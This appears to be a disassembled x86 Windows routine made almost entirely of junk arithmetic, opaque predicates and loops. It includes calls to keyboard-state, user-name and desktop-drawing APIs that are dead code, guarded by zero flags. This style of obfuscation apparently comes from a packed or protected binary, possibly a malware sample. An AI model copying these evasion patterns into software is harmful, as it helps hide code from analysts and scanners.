mov eax, dword [ebp - 0xdf4]
mov dword [ebp - 0x26a4], eax
mov byte [ebp - 0x369], 0
movzx eax, byte [ebp - 0x369]
test eax, eax
je 0x479121
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x600], 0
jmp 0x47914f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x600], 0xfffffff5
jg 0x47b131
mov dword [ebp - 0x504], 0x897a4a12
mov dword [ebp - 0x1cec], 0x173bf38c
mov dword [ebp - 0x290], 0
jmp 0x479190
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x4791ac
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x26ac], 0x99ac
jmp 0x479183
mov dword [ebp - 0x290], 0
jmp 0x4791c5
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x4791e1
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x26b4], 0x4ad744d0
jmp 0x4791b8
mov dword [ebp - 0x504], 0
jmp 0x4791fa
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0
jg 0x479269
mov byte [ebp - 0x339], 0
movzx eax, byte [ebp - 0x339]
test eax, eax
je 0x47921d
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0x1cec], 0x6a16
mov eax, dword [ebp - 0x1cec]
neg eax
je 0x47924d
mov eax, dword [ebp - 0x504]
cmp dword [ebp + eax*4 - 0x26ac], 0
je 0x47924d
mov dword [ebp - 0xdfc], 1
jmp 0x479254
and dword [ebp - 0xdfc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdfc]
mov dword [ebp + eax - 0x26b4], ecx
jmp 0x4791ed
mov byte [ebp - 0x33b], 0
movzx eax, byte [ebp - 0x33b]
test eax, eax
je 0x47928d
push 0x1c46
push 0x1d29
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
mov dword [ebp - 0x94], 0x60f7e730
mov dword [ebp - 0x2e4], 1
mov dword [ebp - 0x174], 1
mov dword [ebp - 0x58c], 1
mov dword [ebp - 0x1d3c], 0xd13bce8
mov dword [ebp - 0x26cc], 1
mov dword [ebp - 0x16c], 0
jmp 0x4792e2
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x4792fe
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0xca8], 5
jmp 0x4792d5
mov dword [ebp - 0x16c], 0
jmp 0x479317
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x479333
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x2e50], 0xf6328da4
jmp 0x47930a
mov dword [ebp - 0x2e4], 2
jmp 0x47934c
mov eax, dword [ebp - 0x2e4]
dec eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0
jl 0x4799c3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x490], 0xc46158e9
mov dword [ebp - 0x26d4], 9
mov dword [ebp - 0x904], 0
jmp 0x47938d
mov eax, dword [ebp - 0x904]
inc eax
mov dword [ebp - 0x904], eax
cmp dword [ebp - 0x904], 2
jge 0x4793a9
mov eax, dword [ebp - 0x904]
mov dword [ebp + eax*4 - 0xcbc], 0xa445a8cc
jmp 0x479380
mov dword [ebp - 0x2c], 2
jmp 0x4793b9
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jl 0x47972c
mov dword [ebp - 0x428], 0xfc0272a
mov dword [ebp - 0x26c4], 0xe4879289
mov dword [ebp - 0x2bec], 0xcc70
mov dword [ebp - 0x2be8], 0xcc70
mov dword [ebp - 0x2be4], 0xcc70
mov dword [ebp - 0x2be0], 0xcc70
mov dword [ebp - 0x240], 0
jmp 0x479418
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 3
jge 0x479434
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0x319c], 0x2f1e5c8a
jmp 0x47940b
mov dword [ebp - 0x240], 0
jmp 0x47944d
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jge 0x479469
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0x2e38], 0x3728
jmp 0x479440
mov dword [ebp - 0x428], 0
jmp 0x479482
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 2
jg 0x479727
mov dword [ebp - 0x648], 0
jmp 0x4794a8
mov eax, dword [ebp - 0x648]
inc eax
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 2
jge 0x4794c4
mov eax, dword [ebp - 0x648]
mov dword [ebp + eax*4 - 0x2e44], 0x8e56a96d
jmp 0x47949b
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x319c], 0x2bb2c593
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xcbc], 0x2bb2c593
mov dword [ebp - 0x174], 0
cmp dword [ebp - 0x174], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp + ecx*4 - 0xca8]
cmp dword [ebp + eax - 0x319c], ecx
cmp dword [ebp - 0x2c], 0
je 0x479529
cmp dword [ebp - 0x428], 0
je 0x479529
mov dword [ebp - 0x26bc], 1
jmp 0x479530
and dword [ebp - 0x26bc], 0
or eax, 0xffffffff
jne 0x479543
xor eax, eax
inc eax
jne 0x479543
and dword [ebp - 0x1cf4], 0
jmp 0x47954d
mov dword [ebp - 0x1cf4], 1
mov eax, dword [ebp - 0x428]
cmp eax, dword [ebp - 0x1cf4]
jge 0x479567
mov dword [ebp - 0xe04], 1
jmp 0x47956e
and dword [ebp - 0xe04], 0
mov eax, dword [ebp - 0xe04]
neg eax
cmp eax, dword [ebp - 0x26c4]
jne 0x47958a
mov dword [ebp - 0x1cfc], 1
jmp 0x479591
and dword [ebp - 0x1cfc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1cfc]
sub ecx, dword [ebp + eax - 0xca8]
mov dword [ebp - 0x58c], ecx
cmp dword [ebp - 0x58c], 0xffffffff
jle 0x4795bf
mov dword [ebp - 0xe0c], 1
jmp 0x4795c6
and dword [ebp - 0xe0c], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0xca8]
cmp dword [ebp - 0xe0c], eax
jne 0x4795e4
mov dword [ebp - 0x1d04], 1
jmp 0x4795eb
and dword [ebp - 0x1d04], 0
cmp dword [ebp - 0x1d04], 0x35a6
jne 0x479603
mov dword [ebp - 0xe14], 1
jmp 0x47960a
and dword [ebp - 0xe14], 0
cmp dword [ebp - 0xe14], 9
jg 0x47961f
mov dword [ebp - 0x1d0c], 1
jmp 0x479626
and dword [ebp - 0x1d0c], 0
mov eax, dword [ebp - 0x1d0c]
sub eax, dword [ebp - 0x2c]
jne 0x47964a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2e38], 0
jne 0x47964a
and dword [ebp - 0xe1c], 0
jmp 0x479654
mov dword [ebp - 0xe1c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xca8]
cmp dword [ebp - 0xe1c], eax
jne 0x479675
mov dword [ebp - 0x1d14], 1
jmp 0x47967c
and dword [ebp - 0x1d14], 0
cmp dword [ebp - 0x1d14], 0x3e4f
jle 0x4796a4
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcbc], 0
je 0x4796a4
mov dword [ebp - 0xe24], 1
jmp 0x4796ab
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0xca8]
cmp eax, dword [ebp - 0xe24]
jg 0x4796c9
mov dword [ebp - 0xb60], 1
jmp 0x4796d0
and dword [ebp - 0xb60], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb60]
mov dword [ebp + eax - 0x2e44], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0xca8]
imul eax, dword [ebp - 0xb60]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2bec]
jg 0x47970f
mov dword [ebp - 0x1d1c], 1
jmp 0x479716
and dword [ebp - 0x1d1c], 0
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0x490], eax
jmp 0x479475
jmp 0x4793b2
cmp dword [ebp - 0x174], 0
je 0x47974a
mov eax, 0xb90cb933
test eax, eax
je 0x47974a
mov dword [ebp - 0xe3c], 1
jmp 0x479751
and dword [ebp - 0xe3c], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3150], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcbc]
mov dword [ebp - 0x345c], eax
mov eax, dword [ebp - 0x2e4]
mov eax, dword [ebp + eax*4 - 0xca8]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0xca8]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xcbc]
jg 0x4797a2
mov dword [ebp - 0xe2c], 1
jmp 0x4797a9
and dword [ebp - 0xe2c], 0
mov eax, dword [ebp - 0x58c]
cmp dword [ebp - 0xe2c], eax
je 0x4797c3
mov dword [ebp - 0x1d24], 1
jmp 0x4797ca
and dword [ebp - 0x1d24], 0
cmp dword [ebp - 0x1d24], 0xcafa
je 0x4797e2
mov dword [ebp - 0xe34], 1
jmp 0x4797e9
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0x1d3c]
cmp dword [ebp - 0xe34], eax
jne 0x479803
mov dword [ebp - 0x1d2c], 1
jmp 0x47980a
and dword [ebp - 0x1d2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcbc]
cmp dword [ebp - 0x1d2c], eax
jge 0x479834
cmp dword [ebp - 0x490], 0
je 0x479834
mov dword [ebp - 0xa08], 1
jmp 0x47983b
and dword [ebp - 0xa08], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa08]
mov dword [ebp + eax - 0xcbc], ecx
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0xa08]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0xca8]
sub eax, dword [ebp - 0x490]
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x2c], eax
jle 0x47988a
mov dword [ebp - 0x1d34], 1
jmp 0x479891
and dword [ebp - 0x1d34], 0
mov eax, dword [ebp - 0xe3c]
cmp eax, dword [ebp - 0x1d34]
jg 0x4798b4
cmp dword [ebp - 0x490], 0
je 0x4798b4
mov dword [ebp - 0xe44], 1
jmp 0x4798bb
and dword [ebp - 0xe44], 0
mov eax, dword [ebp - 0x2e4]
mov eax, dword [ebp + eax*4 - 0xca8]
add eax, dword [ebp - 0xe44]
cmp eax, dword [ebp - 0x1d3c]
jne 0x4798e2
mov dword [ebp - 0xe4c], 1
jmp 0x4798e9
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0xe4c]
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x3158], eax
mov eax, dword [ebp - 0x26cc]
mov dword [ebp - 0x33a4], eax
mov eax, dword [ebp - 0x2e4]
sub eax, dword [ebp - 0x26d4]
cmp eax, dword [ebp - 0x2e4]
je 0x47992d
mov dword [ebp - 0x1d44], 1
jmp 0x479934
and dword [ebp - 0x1d44], 0
mov eax, dword [ebp - 0x1d44]
sub eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
jne 0x47994e
mov dword [ebp - 0xe54], 1
jmp 0x479955
and dword [ebp - 0xe54], 0
mov eax, dword [ebp - 0xe54]
add eax, 7
cmp eax, 0xfffffff7
je 0x47996f
mov dword [ebp - 0x1d4c], 1
jmp 0x479976
and dword [ebp - 0x1d4c], 0
cmp dword [ebp - 0x1d4c], 0xdef0
jg 0x47998e
mov dword [ebp - 0xc34], 1
jmp 0x479995
and dword [ebp - 0xc34], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc34]
mov dword [ebp + eax - 0x2e50], ecx
mov eax, dword [ebp - 0xc34]
mov dword [ebp - 0x2c], eax
imul eax, dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x174], eax
jmp 0x47933f
mov dword [ebp - 0x174], 1
jmp 0x4799dc
mov eax, dword [ebp - 0x174]
dec eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jl 0x479a2f
mov byte [ebp - 0x36b], 0
movzx eax, byte [ebp - 0x36b]
test eax, eax
je 0x479a2d
push 0x613
push 0
push 0x900
push 0xcf2
push 0xa7e
push 0
push 0x25f7
push 0x2053
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
jmp 0x4799cf
mov dword [ebp - 0x50c], 0xffffffff
mov dword [ebp - 0x90c], 0
jmp 0x479a52
mov eax, dword [ebp - 0x90c]
inc eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 3
jge 0x479a6e
mov eax, dword [ebp - 0x90c]
mov dword [ebp + eax*4 - 0x3608], 1
jmp 0x479a45
mov dword [ebp - 0x50c], 2
jmp 0x479a87
mov eax, dword [ebp - 0x50c]
dec eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0
jl 0x479aaf
mov dword [ebp - 0x26dc], 0x182eac45
mov eax, dword [ebp - 0x50c]
mov eax, dword [ebp + eax*4 - 0x3608]
mov dword [ebp - 0x26dc], eax
jmp 0x479a7a
mov dword [ebp - 0x430], 1
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
je 0x479e26
mov dword [ebp - 0x650], 0
jmp 0x479af5
mov eax, dword [ebp - 0x650]
inc eax
mov dword [ebp - 0x650], eax
cmp dword [ebp - 0x650], 3
jge 0x479b11
mov eax, dword [ebp - 0x650]
mov dword [ebp + eax*4 - 0x2354], 0
jmp 0x479ae8
mov dword [ebp - 0x12c], 0
jmp 0x479b2a
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jg 0x479e21
mov dword [ebp - 0x2bc], 0x872d
mov dword [ebp - 0x914], 7
mov dword [ebp - 0x430], 0
jmp 0x479b64
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 2
jg 0x479b85
mov dword [ebp - 0x26e4], 1
mov eax, dword [ebp - 0x26e4]
mov dword [ebp - 0x2bc], eax
jmp 0x479b57
mov dword [ebp - 0x2bc], 0
jmp 0x479b9e
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 2
jg 0x479e1c
mov dword [ebp - 0x658], 0x7a5eafb5
mov dword [ebp - 0x26f4], 9
mov eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x2bc], eax
je 0x479bd9
mov dword [ebp - 0x1d54], 1
jmp 0x479be0
and dword [ebp - 0x1d54], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x12c]
push 4
pop edx
shl edx, 1
add ecx, dword [ebp + edx - 0x2354]
cmp dword [ebp + eax - 0x2354], ecx
jge 0x479c0d
mov dword [ebp - 0xe5c], 1
jmp 0x479c14
and dword [ebp - 0xe5c], 0
mov eax, dword [ebp - 0x658]
cmp dword [ebp - 0xe5c], eax
jg 0x479c2e
mov dword [ebp - 0xe64], 1
jmp 0x479c35
and dword [ebp - 0xe64], 0
mov eax, dword [ebp - 0x1d54]
sub eax, dword [ebp - 0xe64]
cmp eax, 0xf4ea
jl 0x479c54
mov dword [ebp - 0x1d5c], 1
jmp 0x479c5b
and dword [ebp - 0x1d5c], 0
imul eax, dword [ebp - 0x1d5c], 0xe964
neg eax
imul eax, dword [ebp - 0x430]
neg eax
jne 0x479c84
cmp dword [ebp - 0x658], 0
jne 0x479c84
and dword [ebp - 0xe6c], 0
jmp 0x479c8e
mov dword [ebp - 0xe6c], 1
mov eax, dword [ebp - 0xe6c]
mov dword [ebp - 0x914], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2354]
cmp dword [ebp + eax - 0x2354], ecx
je 0x479cc2
mov dword [ebp - 0x1d64], 1
jmp 0x479cc9
and dword [ebp - 0x1d64], 0
mov eax, dword [ebp - 0x914]
cmp eax, dword [ebp - 0x1d64]
je 0x479ce3
mov dword [ebp - 0x1d6c], 1
jmp 0x479cea
and dword [ebp - 0x1d6c], 0
cmp dword [ebp - 0x2bc], 1
jg 0x479cff
mov dword [ebp - 0xe74], 1
jmp 0x479d06
and dword [ebp - 0xe74], 0
mov eax, dword [ebp - 0x914]
imul eax, dword [ebp - 0xe74]
test eax, eax
jne 0x479d29
mov eax, 0xf4d4e209
test eax, eax
jne 0x479d29
and dword [ebp - 0xe7c], 0
jmp 0x479d33
mov dword [ebp - 0xe7c], 1
mov eax, dword [ebp - 0x1d6c]
cmp eax, dword [ebp - 0xe7c]
je 0x479d4d
mov dword [ebp - 0x1d74], 1
jmp 0x479d54
and dword [ebp - 0x1d74], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2354]
cmp eax, dword [ebp - 0x1d74]
jl 0x479d6f
cmp dword [ebp - 0x2bc], 0
xor eax, eax
inc eax
je 0x479d87
cmp dword [ebp - 0x658], 0
je 0x479d82
jmp 0x479e1c
jmp 0x479e17
mov dword [ebp - 0x26ec], 0x336
mov eax, dword [ebp - 0x26ec]
mov dword [ebp - 0x3160], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2354], 0
je 0x479dc2
cmp dword [ebp - 0x914], 0
je 0x479dc2
mov dword [ebp - 0x1d7c], 1
jmp 0x479dc9
and dword [ebp - 0x1d7c], 0
cmp dword [ebp - 0x658], 0xfffffff9
jb 0x479dde
mov dword [ebp - 0xe84], 1
jmp 0x479de5
and dword [ebp - 0xe84], 0
mov eax, dword [ebp - 0xe84]
sub eax, 0x15e4
cmp dword [ebp - 0x1d7c], eax
je 0x479e04
mov dword [ebp - 0xe8c], 1
jmp 0x479e0b
and dword [ebp - 0xe8c], 0
mov eax, dword [ebp - 0xe8c]
mov dword [ebp - 0x26f4], eax
jmp 0x479b91
jmp 0x479b1d
jmp 0x479f0b
mov dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x91c]
cmp dword [ebp - 0x91c], eax
jl 0x479e4a
mov dword [ebp - 0x1d8c], 1
jmp 0x479e51
and dword [ebp - 0x1d8c], 0
cmp dword [ebp - 0x91c], 0x437
jg 0x479e70
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x479e70
mov dword [ebp - 0x1d84], 1
jmp 0x479e77
and dword [ebp - 0x1d84], 0
cmp dword [ebp - 0x1d84], 1
jg 0x479e8c
mov dword [ebp - 0xe94], 1
jmp 0x479e93
and dword [ebp - 0xe94], 0
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0xe94]
jge 0x479eb6
mov eax, 0xec253d5
test eax, eax
je 0x479eb6
mov dword [ebp - 0xe9c], 1
jmp 0x479ebd
and dword [ebp - 0xe9c], 0
mov eax, dword [ebp - 0x1d8c]
imul eax, dword [ebp - 0xe9c]
cmp eax, dword [ebp - 0x91c]
jle 0x479ede
mov dword [ebp - 0x1d94], 1
jmp 0x479ee5
and dword [ebp - 0x1d94], 0
mov eax, dword [ebp - 0x1d94]
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x33d], 0
movzx eax, byte [ebp - 0x33d]
test eax, eax
je 0x479f0b
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov dword [ebp - 0xa18], 0xffff
mov dword [ebp - 0x2b6c], 0x96dd1e1e
mov dword [ebp - 0x2b68], 0x96dd1e1e
mov dword [ebp - 0x2b64], 0x96dd1e1e
mov dword [ebp - 0x2b60], 0x96dd1e1e
mov dword [ebp - 0x660], 0
jmp 0x479f56
mov eax, dword [ebp - 0x660]
inc eax
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 3
jge 0x479f72
mov eax, dword [ebp - 0x660]
mov dword [ebp + eax*4 - 0x2910], 1
jmp 0x479f49
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2b6c], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2910], 0xfffffff8
jmp 0x479fad
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2910]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2910], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2910], 0x19
jl 0x47a008
mov dword [ebp - 0x924], 0xfffffff9
mov dword [ebp - 0x924], 0
jmp 0x479fdf
mov eax, dword [ebp - 0x924]
dec eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 0xfffffff0
je 0x47a006
mov byte [ebp - 0x3b1], 0
movzx eax, byte [ebp - 0x3b1]
test eax, eax
je 0x47a004
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
jmp 0x479fd2
jmp 0x479f94
mov dword [ebp - 0x1e8c], 1
mov dword [ebp - 0xea4], 0x9807
mov dword [ebp - 0x1d9c], 0xffffffff
mov dword [ebp - 0xa10], 0xa756a336
cmp dword [ebp - 0xea4], 0
jne 0x47a045
mov dword [ebp - 0xeac], 1
jmp 0x47a04c
and dword [ebp - 0xeac], 0
mov eax, dword [ebp - 0xea4]
mov dword [ebp - 0x1d9c], eax
mov eax, dword [ebp - 0x1d9c]
cmp dword [ebp - 0xeac], eax
je 0x47a075
mov eax, dword [ebp - 0xa10]
inc eax
mov dword [ebp - 0xa10], eax
jmp 0x47a08b
mov dword [ebp - 0x26fc], 0x39ba
mov eax, dword [ebp - 0xa10]
mov dword [ebp - 0x26fc], eax
mov dword [ebp - 0x668], 0x9ad59e57
mov dword [ebp - 0x3504], 0
mov dword [ebp - 0x3168], 0xffffffff
mov dword [ebp - 0x33ac], 0x274952f3
mov dword [ebp - 0x278], 0
jmp 0x47a0cc
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 3
jge 0x47a0e8
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0x38dc], 0xffff
jmp 0x47a0bf
mov dword [ebp - 0x278], 0
jmp 0x47a101
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 3
jge 0x47a11d
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0x3888], 0x20985a95
jmp 0x47a0f4
mov dword [ebp - 0x668], 2
jmp 0x47a136
mov eax, dword [ebp - 0x668]
dec eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
jl 0x47a202
mov dword [ebp - 0x2cb4], 2
mov dword [ebp - 0x17c], 0
jmp 0x47a166
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 1
jge 0x47a182
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x2cbc], 1
jmp 0x47a159
mov dword [ebp - 0x17c], 0
jmp 0x47a19b
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 2
jge 0x47a1b7
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x2a20], 0xffff
jmp 0x47a18e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a20]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2a20], eax
mov byte [ebp - 0x33f], 0
movzx eax, byte [ebp - 0x33f]
test eax, eax
je 0x47a1fd
push 0x1219
push 0x324
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
jmp 0x47a129
mov byte [ebp - 0x36d], 0
movzx eax, byte [ebp - 0x36d]
test eax, eax
je 0x47a234
push 0
push 0x25f1
push 0x1386
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
mov dword [ebp - 0x184], 0
jmp 0x47a24d
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 2
jge 0x47a269
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x2a30], 4
jmp 0x47a240
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x1dcc], 0xfffffff8
mov dword [ebp - 0xb68], 0xf67d
mov dword [ebp - 0x5cc], 0x531defce
mov dword [ebp - 0x2c6c], 0x732b
mov dword [ebp - 0x2c68], 0x732b
mov dword [ebp - 0x2c64], 0x732b
mov dword [ebp - 0x2c60], 0x732b
mov dword [ebp - 0x1c], 0
jmp 0x47a2c9
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x47a2df
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x289c], 0xffffffff
jmp 0x47a2c2
mov dword [ebp - 0x1c], 0
jmp 0x47a2ef
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x47a305
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xce4], 0xfffffffe
jmp 0x47a2e8
mov dword [ebp - 0x1c], 0
jmp 0x47a315
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x47a32b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcfc], 0xb6dad816
jmp 0x47a30e
mov dword [ebp - 0x1c], 0
jmp 0x47a33b
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x47a351
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e5c], 0xfffffffa
jmp 0x47a334
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcfc]
dec eax
mov dword [ebp - 0x1da4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1da4]
mov dword [ebp + eax - 0xcfc], ecx
cmp dword [ebp - 0x1da4], 0
jne 0x47a526
mov eax, 0x1c1d
test eax, eax
je 0x47a401
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x289c], 3
jbe 0x47a3aa
mov dword [ebp - 0xeb4], 1
jmp 0x47a3b1
and dword [ebp - 0xeb4], 0
cmp dword [ebp - 0xeb4], 0xf303
jl 0x47a3c9
mov dword [ebp - 0x1dac], 1
jmp 0x47a3d0
and dword [ebp - 0x1dac], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcfc]
add eax, dword [ebp - 0x1dac]
jne 0x47a3f5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcfc], 0
je 0x47a401
mov dword [ebp - 0x2704], 1
jmp 0x47a408
and dword [ebp - 0x2704], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xce4], 0
je 0x47a434
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x289c], 0
je 0x47a434
mov dword [ebp - 0xebc], 1
jmp 0x47a43b
and dword [ebp - 0xebc], 0
mov eax, dword [ebp - 0x5cc]
cmp dword [ebp - 0xebc], eax
jl 0x47a455
mov dword [ebp - 0x270c], 1
jmp 0x47a45c
and dword [ebp - 0x270c], 0
mov eax, dword [ebp - 0x1dcc]
mov dword [ebp - 0x2cc4], eax
mov eax, 0xd4a
test eax, eax
je 0x47a478
cmp dword [ebp - 0xb68], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcfc]
mov dword [ebp - 0x1db4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1db4]
mov dword [ebp + eax - 0xce4], ecx
imul eax, dword [ebp - 0x1db4], 0x1067
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xcfc]
jl 0x47a4c3
mov dword [ebp - 0xec4], 1
jmp 0x47a4ca
and dword [ebp - 0xec4], 0
cmp dword [ebp - 0xec4], 0xcf5
jg 0x47a4e2
mov dword [ebp - 0x1dbc], 1
jmp 0x47a4e9
and dword [ebp - 0x1dbc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x289c]
cmp dword [ebp - 0x1dbc], eax
je 0x47a50a
mov dword [ebp - 0xecc], 1
jmp 0x47a511
and dword [ebp - 0xecc], 0
cmp dword [ebp - 0xecc], 0x57a772be
jne 0x47a526
and dword [ebp - 0x1dc4], 0
jmp 0x47a530
mov dword [ebp - 0x1dc4], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x289c]
cmp dword [ebp - 0x1dc4], eax
je 0x47a551
